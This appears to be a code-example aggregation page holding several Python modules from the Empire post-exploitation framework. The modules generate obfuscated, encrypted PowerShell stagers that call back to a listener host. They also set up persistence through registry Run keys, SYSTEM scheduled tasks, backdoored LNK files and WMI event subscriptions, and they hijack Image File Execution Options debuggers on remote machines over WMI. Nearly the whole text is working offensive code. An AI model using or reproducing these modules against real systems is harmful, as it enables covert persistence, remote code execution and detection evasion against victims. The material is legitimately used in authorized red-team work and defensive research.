            location_string = "$(cmd /c \''more < " + ads_path + "\'')"
        else:
            # otherwise store the script into the specified registry location
            path = "\\".join(reg_path.split("\\")[0:-1])
            name = reg_path.split("\\")[-1]
            
            status_msg += " stored in " + reg_path + "."
            script = "$RegPath = '" + reg_path + "';"
            script += "$parts = $RegPath.split('\\');"
            script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
            script += "$name = $parts[-1];"
            script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + enc_script + ";"
            
            # note where the script is stored
            location_string = "$((gp " + path + " " + name + ")." + name + ")"
        
        script += "$null=Set-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + key_name + " -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=" + location_string + ";powershell -Win Hidden -enc $x\"';"
        
        script += "'Registry persistence established " + status_msg + "'"

        if main_menu.obfuscate:
            script = data_util.obfuscate(main_menu.installPath, psScript=script, obfuscationCommand=main_menu.obfuscateCommand)
        script = data_util.keyword_obfuscation(script)

        return script
コード例 #10
0
    def generate_stager(self,
                        listenerOptions,
                        encode=False,
                        encrypt=True,
                        language="powershell"):
        """
        Generate the stager code needed for communications with this listener.
        """

        #if not language:
        #    print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!')
        #    return None

        profile = listenerOptions['DefaultProfile']['Value']
        uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
        stagingKey = listenerOptions['StagingKey']['Value']
        host = listenerOptions['Host']['Value']
        workingHours = listenerOptions['WorkingHours']['Value']
        folder = listenerOptions['Folder']['Value']

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/http_mapi.ps1" %
                     (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # Get the random function name generated at install and patch the stager with the proper function name
            stager = data_util.keyword_obfuscation(stager)

            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            # patch the server and key information
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('REPLACE_FOLDER', folder)

            # patch in working hours if any
            if workingHours != "":
                stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)

            randomizedStager = ''

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(
                            line)
                    else:
                        randomizedStager += line

            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV + stagingKey,
                                              randomizedStager)
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager
        else:
            print(
                helpers.color(
                    "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module."
                ))
コード例 #11
0
ファイル: backdoor_lnk.py プロジェクト: vinnybod/Empire
    def generate(
        main_menu,
        module: PydanticModule,
        params: Dict,
        obfuscate: bool = False,
        obfuscation_command: str = "",
    ):

        # management options
        lnk_path = params["LNKPath"]
        ext_file = params["ExtFile"]
        cleanup = params["Cleanup"]

        # storage options
        reg_path = params["RegPath"]

        # staging options
        listener_name = params["Listener"]
        user_agent = params["UserAgent"]
        proxy = params["Proxy"]
        proxy_creds = params["ProxyCreds"]
        if (params["Obfuscate"]).lower() == "true":
            launcher_obfuscate = True
        else:
            launcher_obfuscate = False
        launcher_obfuscate_command = params["ObfuscateCommand"]

        status_msg = ""

        if not main_menu.listeners.is_listener_valid(listener_name):
            # not a valid listener, return nothing for the script
            return handle_error_message("[!] Invalid listener: " +
                                        listener_name)

        else:
            # generate the PowerShell one-liner with all of the proper options set
            launcher = main_menu.stagers.generate_launcher(
                listenerName=listener_name,
                language="powershell",
                encode=False,
                obfuscate=launcher_obfuscate,
                obfuscationCommand=launcher_obfuscate_command,
                userAgent=user_agent,
                proxy=proxy,
                proxyCreds=proxy_creds,
                bypasses=params["Bypasses"],
            )
            launcher = launcher.replace("$", "`$")

        # read in the common module source code
        script, err = main_menu.modules.get_module_source(
            module_name=module.script_path,
            obfuscate=obfuscate,
            obfuscate_command=obfuscation_command,
        )

        if err:
            return handle_error_message(err)

        script_end = "Invoke-BackdoorLNK "

        if cleanup.lower() == "true":
            script_end += " -CleanUp"
            script_end += " -LNKPath '%s'" % (lnk_path)
            script_end += " -RegPath '%s'" % (reg_path)
            script_end += (
                "; \"Invoke-BackdoorLNK cleanup run on lnk path '%s' and regPath %s\""
                % (lnk_path, reg_path))

        else:
            if ext_file != "":
                # read in an external file as the payload and build a
                #   base64 encoded version as encScript
                if os.path.exists(ext_file):
                    with open(ext_file, "r") as f:
                        file_data = f.read()

                    # unicode-base64 encode the script for -enc launching
                    encScript = helpers.enc_powershell(file_data)
                    status_msg += "using external file " + ext_file

                else:
                    return handle_error_message("[!] File does not exist: " +
                                                ext_file)

            else:
                # if an external file isn't specified, use a listener
                if not main_menu.listeners.is_listener_valid(listener_name):
                    # not a valid listener, return nothing for the script
                    return handle_error_message("[!] Invalid listener: " +
                                                listener_name)

                else:
                    # generate the PowerShell one-liner with all of the proper options set
                    launcher = main_menu.stagers.generate_launcher(
                        listenerName=listener_name,
                        language="powershell",
                        encode=True,
                        obfuscate=launcher_obfuscate,
                        obfuscationCommand=launcher_obfuscate_command,
                        userAgent=user_agent,
                        proxy=proxy,
                        proxyCreds=proxy_creds,
                        bypasses=params["Bypasses"],
                    )

                    encScript = launcher.split(" ")[-1]
                    status_msg += "using listener " + listener_name

            script_end += " -LNKPath '%s'" % (lnk_path)
            script_end += " -EncScript '%s'" % (encScript)
            script_end += (
                "; \"Invoke-BackdoorLNK run on path '%s' with stager for listener '%s'\""
                % (lnk_path, listener_name))

        script = main_menu.modules.finalize_module(
            script=script,
            script_end=script_end,
            obfuscate=obfuscate,
            obfuscation_command=obfuscation_command,
        )
        return script
コード例 #12
0
    def generate(
        main_menu,
        module: PydanticModule,
        params: Dict,
        obfuscate: bool = False,
        obfuscation_command: str = "",
    ):

        # trigger options
        daily_time = params["DailyTime"]
        idle_time = params["IdleTime"]
        on_logon = params["OnLogon"]
        task_name = params["TaskName"]

        # storage options
        reg_path = params["RegPath"]
        ads_path = params["ADSPath"]

        # management options
        ext_file = params["ExtFile"]
        cleanup = params["Cleanup"]

        # staging options
        listener_name = params["Listener"]
        user_agent = params["UserAgent"]
        proxy = params["Proxy"]
        proxy_creds = params["ProxyCreds"]
        if (params["Obfuscate"]).lower() == "true":
            launcher_obfuscate = True
        else:
            launcher_obfuscate = False
        launcher_obfuscate_command = params["ObfuscateCommand"]

        status_msg = ""
        locationString = ""

        # for cleanup, remove any script from the specified storage location
        #   and remove the specified trigger
        if cleanup.lower() == "true":
            if ads_path != "":
                # remove the ADS storage location
                if ".txt" not in ads_path:
                    return handle_error_message(
                        "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"
                    )

                script = ('Invoke-Command -ScriptBlock {cmd /C "echo x > ' +
                          ads_path + '"};')
            else:
                # remove the script stored in the registry at the specified reg path
                path = "\\".join(reg_path.split("\\")[0:-1])
                name = reg_path.split("\\")[-1]

                script = "$RegPath = '" + reg_path + "';"
                script += "$parts = $RegPath.split('\\');"
                script += (
                    "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
                )
                script += "$name = $parts[-1];"
                script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;"

            script += "schtasks /Delete /F /TN " + task_name + ";"
            script += "'Schtasks persistence removed.'"

            script = main_menu.modules.finalize_module(
                script=script,
                script_end="",
                obfuscate=obfuscate,
                obfuscation_command=obfuscation_command,
            )
            return script

        if ext_file != "":
            # read in an external file as the payload and build a
            #   base64 encoded version as encScript
            if os.path.exists(ext_file):
                f = open(ext_file, "r")
                fileData = f.read()
                f.close()

                # unicode-base64 encode the script for -enc launching
                enc_script = helpers.enc_powershell(fileData)
                status_msg += "using external file " + ext_file

            else:
                return handle_error_message("[!] File does not exist: " +
                                            ext_file)

        else:
            # if an external file isn't specified, use a listener
            if not main_menu.listeners.is_listener_valid(listener_name):
                # not a valid listener, return nothing for the script
                return handle_error_message("[!] Invalid listener: " +
                                            listener_name)

            else:
                # generate the PowerShell one-liner with all of the proper options set
                launcher = main_menu.stagers.generate_launcher(
                    listenerName=listener_name,
                    language="powershell",
                    encode=True,
                    obfuscate=launcher_obfuscate,
                    obfuscationCommand=launcher_obfuscate_command,
                    userAgent=user_agent,
                    proxy=proxy,
                    proxyCreds=proxy_creds,
                    bypasses=params["Bypasses"],
                )

                enc_script = launcher.split(" ")[-1]
                status_msg += "using listener " + listener_name

        if ads_path != "":
            # store the script in the specified alternate data stream location
            if ".txt" not in ads_path:
                return handle_error_message(
                    "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"
                )

            script = ('Invoke-Command -ScriptBlock {cmd /C "echo ' +
                      enc_script + " > " + ads_path + '"};')

            locationString = "$(cmd /c ''''more < " + ads_path + "'''''')"
        else:
            # otherwise store the script into the specified registry location
            path = "\\".join(reg_path.split("\\")[0:-1])
            name = reg_path.split("\\")[-1]

            status_msg += " stored in " + reg_path

            script = "$RegPath = '" + reg_path + "';"
            script += "$parts = $RegPath.split('\\');"
            script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
            script += "$name = $parts[-1];"
            script += (
                "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "
                + enc_script + ";")

            # note where the script is stored
            locationString = "(gp " + path + " " + name + ")." + name

        # built the command that will be triggered by the schtask
        trigger_cmd = (
            "'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\powershell.exe -NonI -W hidden -c \\\"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String("
            + locationString + ")))\\\"'")

        # sanity check to make sure we haven't exceeded the cmd.exe command length max
        if len(trigger_cmd) > 259:
            return handle_error_message(
                "[!] Warning: trigger command exceeds the maximum of 259 characters."
            )

        if on_logon != "":
            script += ("schtasks /Create /F /RU system /SC ONLOGON /TN " +
                       task_name + " /TR " + trigger_cmd + ";")
            status_msg += " with " + task_name + " OnLogon trigger."
        elif idle_time != "":
            script += ("schtasks /Create /F /RU system /SC ONIDLE /I " +
                       idle_time + " /TN " + task_name + " /TR " +
                       trigger_cmd + ";")
            status_msg += " with " + task_name + " idle trigger on " + idle_time + "."
        else:
            # otherwise assume we're doing a daily trigger
            script += ("schtasks /Create /F /RU system /SC DAILY /ST " +
                       daily_time + " /TN " + task_name + " /TR " +
                       trigger_cmd + ";")
            status_msg += " with " + task_name + " daily trigger at " + daily_time + "."
        script += "'Schtasks persistence established " + status_msg + "'"

        script = main_menu.modules.finalize_module(
            script=script,
            script_end="",
            obfuscate=obfuscate,
            obfuscation_command=obfuscation_command,
        )
        return script
コード例 #13
0
    def generate_stager(
        self,
        listenerOptions,
        encode=False,
        encrypt=True,
        obfuscate=False,
        obfuscationCommand="",
        language=None,
    ):
        """
        Generate the stager code needed for communications with this listener.
        """

        if not language:
            print(
                helpers.color(
                    "[!] listeners/http_com generate_stager(): no language specified!"
                )
            )
            return None

        profile = listenerOptions["DefaultProfile"]["Value"]
        uris = [a.strip("/") for a in profile.split("|")[0].split(",")]
        stagingKey = listenerOptions["StagingKey"]["Value"]
        host = listenerOptions["Host"]["Value"]
        workingHours = listenerOptions["WorkingHours"]["Value"]
        customHeaders = profile.split("|")[2:]

        # select some random URIs for staging from the main profile
        stage1 = random.choice(uris)
        stage2 = random.choice(uris)

        if language.lower() == "powershell":

            # read in the stager base
            f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            # Get the random function name generated at install and patch the stager with the proper function name
            stager = data_util.keyword_obfuscation(stager)

            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            # Patch in custom Headers
            headers = ""
            if customHeaders != []:
                crlf = False
                for header in customHeaders:
                    headerKey = header.split(":")[0]
                    headerValue = header.split(":")[1]

                    # Host header TLS SNI logic done within http_com.ps1
                    if crlf:
                        headers += "`r`n"
                    else:
                        crlf = True
                    headers += "%s: %s" % (headerKey, headerValue)
                stager = stager.replace(
                    '$customHeaders = "";', '$customHeaders = "' + headers + '";'
                )

            # patch the server and key information
            stager = stager.replace("REPLACE_SERVER", host)
            stager = stager.replace("REPLACE_STAGING_KEY", stagingKey)
            stager = stager.replace("index.jsp", stage1)
            stager = stager.replace("index.php", stage2)

            # patch in working hours, if any
            if workingHours != "":
                stager = stager.replace("WORKING_HOURS_REPLACE", workingHours)

            unobfuscated_stager = ""
            stagingKey = stagingKey.encode("UTF-8")

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    unobfuscated_stager += line

            if obfuscate:
                unobfuscated_stager = data_util.obfuscate(
                    self.mainMenu.installPath,
                    unobfuscated_stager,
                    obfuscationCommand=obfuscationCommand,
                )
            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(unobfuscated_stager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(
                    RC4IV + stagingKey, unobfuscated_stager.encode("UTF-8")
                )
            else:
                # otherwise just return the case-randomized stager
                return unobfuscated_stager

        else:
            print(
                helpers.color(
                    "[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module."
                )
            )
コード例 #14
0
    def generate(
        main_menu,
        module: PydanticModule,
        params: Dict,
        obfuscate: bool = False,
        obfuscation_command: str = "",
    ):

        script = """$null = Invoke-WmiMethod -Path Win32_process -Name create"""

        # staging options
        cleanup = params["Cleanup"]
        binary = params["Binary"]
        target_binary = params["TargetBinary"]
        listener_name = params["Listener"]
        if (params["Obfuscate"]).lower() == "true":
            launcher_obfuscate = True
        else:
            launcher_obfuscate = False
        launcher_obfuscate_command = params["ObfuscateCommand"]

        # storage options
        reg_path = params["RegPath"]

        status_msg = ""
        location_string = ""

        # if a credential ID is specified, try to parse
        cred_id = params["CredID"]
        if cred_id != "":

            if not main_menu.credentials.is_credential_valid(cred_id):
                return handle_error_message("[!] CredID is invalid!")

            cred: Credential = main_menu.credentials.get_credentials(cred_id)

            if cred.domain != "":
                params["UserName"] = str(cred.domain) + "\\" + str(
                    cred.username)
            else:
                params["UserName"] = str(cred.username)
            if cred.password != "":
                params["Password"] = cred.password

        if cleanup.lower() == "true":
            # the registry command to disable the debugger for the target binary
            payload_code = (
                "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
                + target_binary + "';")
            status_msg += " to remove the debugger for " + target_binary

        elif listener_name != "":
            # if there's a listener specified, generate a stager and store it
            if not main_menu.listeners.is_listener_valid(listener_name):
                # not a valid listener, return nothing for the script
                return handle_error_message("[!] Invalid listener: " +
                                            listener_name)

            else:
                # generate the PowerShell one-liner with all of the proper options set
                launcher = main_menu.stagers.generate_launcher(
                    listenerName=listener_name,
                    language="powershell",
                    encode=True,
                    obfuscate=launcher_obfuscate,
                    obfuscationCommand=launcher_obfuscate_command,
                    bypasses=params["Bypasses"],
                )

                encScript = launcher.split(" ")[-1]
                # statusMsg += "using listener " + listenerName

            path = "\\".join(reg_path.split("\\")[0:-1])
            name = reg_path.split("\\")[-1]

            # statusMsg += " stored in " + regPath + "."

            payload_code = "$RegPath = '" + reg_path + "';"
            payload_code += "$parts = $RegPath.split('\\');"
            payload_code += (
                "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
            )
            payload_code += "$name = $parts[-1];"
            payload_code += (
                "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "
                + encScript + ";")

            # note where the script is stored
            location_string = "$((gp " + path + " " + name + ")." + name + ")"

            payload_code += (
                "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
                + target_binary +
                "';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
                + target_binary +
                '\' -Name Debugger -Value \'"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" -c "$x='
                + location_string +
                ';start -Win Hidden -A \\"-enc $x\\" powershell";exit;\';')

            status_msg += (" to set the debugger for " + target_binary +
                           " to be a stager for listener " + listener_name +
                           ".")

        else:
            payload_code = (
                "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
                + target_binary +
                "';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
                + target_binary + "' -Name Debugger -Value '" + binary + "';")

            status_msg += (" to set the debugger for " + target_binary +
                           " to be " + binary + ".")

        # unicode-base64 the payload code to execute on the targets with -enc
        encPayload = helpers.enc_powershell(payload_code)

        # build the WMI execution string
        computer_names = '"' + '","'.join(
            params["ComputerName"].split(",")) + '"'

        script += " -ComputerName @(" + computer_names + ")"
        script += (
            ' -ArgumentList "C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -enc '
            + encPayload.decode("UTF-8") + '"')

        # if we're supplying alternate user credentials
        if params["UserName"] != "":
            script = (
                '$PSPassword = "******"Password"] +
                '" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential("'
                + params["UserName"] + '",$PSPassword);' + script +
                " -Credential $Credential")

        script += ";'Invoke-Wmi executed on " + computer_names + status_msg + "'"

        script = main_menu.modules.finalize_module(
            script=script,
            script_end="",
            obfuscate=obfuscate,
            obfuscation_command=obfuscation_command,
        )
        return script
コード例 #15
0
ファイル: wmi_updater.py プロジェクト: vinnybod/Empire
    def generate(
        main_menu,
        module: PydanticModule,
        params: Dict,
        obfuscate: bool = False,
        obfuscation_command: str = "",
    ):

        # trigger options
        daily_time = params["DailyTime"]
        day = params["Day"]
        day_of_week = params["DayOfWeek"]
        at_startup = params["AtStartup"]
        sub_name = params["SubName"]
        dummy_sub_name = "_" + sub_name

        # management options
        launcher_prefix = params["Launcher"]
        ext_file = params["ExtFile"]
        cleanup = params["Cleanup"]
        web_file = params["WebFile"]

        status_msg = ""
        location_string = ""

        if cleanup.lower() == "true":
            # commands to remove the WMI filter and subscription
            script = (
                "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='"
                + sub_name + "'\"| Remove-WmiObject;")
            script += (
                "Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='"
                + sub_name + "'\" | Remove-WmiObject;")
            script += (
                "Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { $_.filter -match '"
                + sub_name + "'} | Remove-WmiObject;")
            script += (
                "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='"
                + dummy_sub_name + "'\"| Remove-WmiObject;")
            script += (
                "Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='"
                + dummy_sub_name + "'\" | Remove-WmiObject;")
            script += (
                "Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { $_.filter -match '"
                + dummy_sub_name + "'} | Remove-WmiObject;")
            script += ("'WMI persistence with subscription named " + sub_name +
                       " removed.'")

            script = main_menu.modules.finalize_module(
                script=script,
                script_end="",
                obfuscate=obfuscate,
                obfuscation_command=obfuscation_command,
            )
            return script

        if ext_file != "":
            # read in an external file as the payload and build a
            #   base64 encoded version as encScript
            if os.path.exists(ext_file):
                with open(ext_file, "r") as f:
                    file_data = f.read()

                # unicode-base64 encode the script for -enc launching
                enc_script = helpers.enc_powershell(file_data)
                status_msg += "using external file " + ext_file

            else:
                return handle_error_message("[!] File does not exist: " +
                                            ext_file)

        else:
            # generate the PowerShell one-liner with all of the proper options set
            launcher = main_menu.stagers.generate_launcher_fetcher(
                language="powershell",
                encode=True,
                webFile=web_file,
                launcher=launcher_prefix,
            )

            enc_script = launcher.split(" ")[-1]
            status_msg += "using launcher_fetcher"

        # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max
        if len(enc_script) > 8190:
            return handle_error_message(
                "[!] Warning: -enc command exceeds the maximum of 8190 characters."
            )

        # built the command that will be triggered
        trigger_cmd = (
            "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc "
            + enc_script)

        if daily_time != "" or day != "" or day_of_week != "":

            # add DailyTime to event filter
            parts = daily_time.split(":")

            if len(parts) < 2:
                return handle_error_message(
                    "[!] Please use HH:mm format for DailyTime")

            hour = parts[0]
            minutes = parts[1]

            # some presets for building status message and the script
            status_msg_day = " daily"
            day_filter = ""
            script = ""

            # if those day and day_of_week are combined, return nothing for the script
            if day != "" and day_of_week != "":
                return handle_error_message(
                    "[!] Can not combine Day and DayOfWeek")

            # add day or day_of_week to event filter
            if day != "":
                if (int(day) < 1) or (int(day) > 31):
                    return handle_error_message(
                        "[!] Please stick to range 1-31 for Day")
                day_filter = " AND (TargetInstance.Day = " + day + ")"
                status_msg_day = " every day of month: " + day + " (1-31)"

            elif day_of_week != "":
                if (int(day_of_week) < 0) or (int(day_of_week) > 6):
                    return handle_error_message(
                        "[!] Please stick to range 0-6 for DayOfWeek")
                day_filter = " AND (TargetInstance.DayOfWeek=" + day_of_week + ")"
                status_msg_day = " every day of week: " + day_of_week + " (0-6)"
                # creating and bind a dummy WMI event filter with a "nop event consumer" as workaround for win32_localtime.day_of_week bug
                day_filter_dummy = (" AND (TargetInstance.DayOfWeek=" +
                                    day_of_week +
                                    " OR TargetInstance.DayOfWeek=" +
                                    str(int(day_of_week) + 1) + ")")
                script += (
                    '$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\\subscription" -Arguments @{name=\''
                    + dummy_sub_name +
                    "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'"
                    + day_filter_dummy + " AND (TargetInstance.Hour = " +
                    hour + ") AND (TargetInstance.Minute = " + minutes +
                    ') GROUP WITHIN 60"};')
                script += (
                    "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"
                    + dummy_sub_name +
                    "';CommandLineTemplate=\"call\";RunInteractively='false'};"
                )
                script += ' Set-WmiInstance -Namespace "root\\subscription" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;'

            # create the real WMI event filter for a system time
            script += (
                '$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\\subscription" -Arguments @{name=\''
                + sub_name +
                "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'"
                + day_filter + " AND (TargetInstance.Hour = " + hour +
                ") AND (TargetInstance.Minute = " + minutes +
                ') GROUP WITHIN 60"};')
            status_msg += (" with WMI subscription trigger at " + daily_time +
                           status_msg_day + ".")

        else:
            # create the WMI event filter for OnStartup
            script = (
                '$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\\subscription" -Arguments @{name=\''
                + sub_name +
                "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
            )
            status_msg += " with OnStartup WMI subsubscription trigger."

        # add in the event consumer to launch the encrypted script contents
        script += (
            "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"
            + sub_name + "';CommandLineTemplate=\"" + trigger_cmd +
            "\";RunInteractively='false'};")

        # bind the filter and event consumer together
        script += 'Set-WmiInstance -Namespace "root\\subscription" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;'

        script += "'WMI persistence established " + status_msg + "'"

        script = main_menu.modules.finalize_module(
            script=script,
            script_end="",
            obfuscate=obfuscate,
            obfuscation_command=obfuscation_command,
        )
        return script
コード例 #16
0
ファイル: redirector.py プロジェクト: W1LDN16H7/Empire
    def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="",
                        language=None):
        """
        If you want to support staging for the listener module, generate_stager must be
        implemented to return the stage1 key-negotiation stager code.
        """
        if not language:
            print(helpers.color('[!] listeners/http generate_stager(): no language specified!'))
            return None

        profile = listenerOptions['DefaultProfile']['Value']
        uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
        launcher = listenerOptions['Launcher']['Value']
        stagingKey = listenerOptions['StagingKey']['Value']
        workingHours = listenerOptions['WorkingHours']['Value']
        killDate = listenerOptions['KillDate']['Value']
        host = listenerOptions['Host']['Value']
        customHeaders = profile.split('|')[2:]

        # select some random URIs for staging from the main profile
        stage1 = random.choice(uris)
        stage2 = random.choice(uris)

        if language.lower() == 'powershell':

            # read in the stager base
            f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath))
            stager = f.read()
            f.close()
            # Get the random function name generated at install and patch the stager with the proper function name
            stager = data_util.keyword_obfuscation(stager)
            # make sure the server ends with "/"
            if not host.endswith("/"):
                host += "/"

            # Patch in custom Headers
            if customHeaders != []:
                headers = ','.join(customHeaders)
                stager = stager.replace("$customHeaders = \"\";", "$customHeaders = \"" + headers + "\";")

            # patch in working hours, if any
            if workingHours != "":
                stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)

            # Patch in the killdate, if any
            if killDate != "":
                stager = stager.replace('REPLACE_KILLDATE', killDate)

            # patch the server and key information
            stager = stager.replace('REPLACE_SERVER', host)
            stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
            stager = stager.replace('index.jsp', stage1)
            stager = stager.replace('index.php', stage2)

            randomizedStager = ''

            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    # randomize capitalization of lines without quoted strings
                    if "\"" not in line:
                        randomizedStager += helpers.randomize_capitalization(line)
                    else:
                        randomizedStager += line

            if obfuscate:
                randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager,
                                                     obfuscationCommand=obfuscationCommand)
            # base64 encode the stager and return it
            if encode:
                return helpers.enc_powershell(randomizedStager)
            elif encrypt:
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager)
            else:
                # otherwise just return the case-randomized stager
                return randomizedStager

        elif language.lower() == 'python':
            # read in the stager base
            f = open("%s/data/agent/stagers/http.py" % (self.mainMenu.installPath))
            stager = f.read()
            f.close()

            stager = helpers.strip_python_comments(stager)

            if host.endswith("/"):
                host = host[0:-1]

            if workingHours != "":
                stager = stager.replace('SET_WORKINGHOURS', workingHours)

            if killDate != "":
                stager = stager.replace('SET_KILLDATE', killDate)

            # # patch the server and key information
            stager = stager.replace("REPLACE_STAGING_KEY", stagingKey)
            stager = stager.replace("REPLACE_PROFILE", profile)
            stager = stager.replace("index.jsp", stage1)
            stager = stager.replace("index.php", stage2)

            # # base64 encode the stager and return it
            if encode:
                return base64.b64encode(stager)
            if encrypt:
                # return an encrypted version of the stager ("normal" staging)
                RC4IV = os.urandom(4)
                return RC4IV + encryption.rc4(RC4IV + stagingKey, stager)
            else:
                # otherwise return the standard stager
                return stager

        else:
            print(helpers.color(
                "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."))
コード例 #17
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        listener_name = params['Listener']

        # trigger options
        daily_time = params['DailyTime']
        day = params['Day']
        day_of_week = params['DayOfWeek']
        at_startup = params['AtStartup']
        sub_name = params['SubName']
        dummy_sub_name = "_" + sub_name
        failed_logon = params['FailedLogon']

        # management options
        ext_file = params['ExtFile']
        cleanup = params['Cleanup']

        # staging options
        user_agent = params['UserAgent']
        proxy = params['Proxy']
        proxy_creds = params['ProxyCreds']

        status_msg = ""
        location_string = ""

        if cleanup.lower() == 'true':
            # commands to remove the WMI filter and subscription
            script = "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='" + sub_name + "'\"| Remove-WmiObject;"
            script += "Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='" + sub_name + "'\" | Remove-WmiObject;"
            script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { $_.filter -match '" + sub_name + "'} | Remove-WmiObject;"
            script += "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='" + dummy_sub_name + "'\"| Remove-WmiObject;"
            script += "Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='" + dummy_sub_name + "'\" | Remove-WmiObject;"
            script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { $_.filter -match '" + dummy_sub_name + "'} | Remove-WmiObject;"
            script += "'WMI persistence with subscription named " + sub_name + " removed.'"
            script = data_util.keyword_obfuscation(script)
            if obfuscate:
                script = helpers.obfuscate(
                    main_menu.installPath,
                    psScript=script,
                    obfuscationCommand=obfuscation_command)
            return script

        if ext_file != '':
            # read in an external file as the payload and build a
            #   base64 encoded version as encScript
            if os.path.exists(ext_file):
                f = open(ext_file, 'r')
                fileData = f.read()
                f.close()

                # unicode-base64 encode the script for -enc launching
                enc_script = helpers.enc_powershell(fileData)
                status_msg += "using external file " + ext_file

            else:
                return handle_error_message("[!] File does not exist: " +
                                            ext_file)

        else:
            if listener_name == "":
                return handle_error_message(
                    "[!] Either an ExtFile or a Listener must be specified")

            # if an external file isn't specified, use a listener
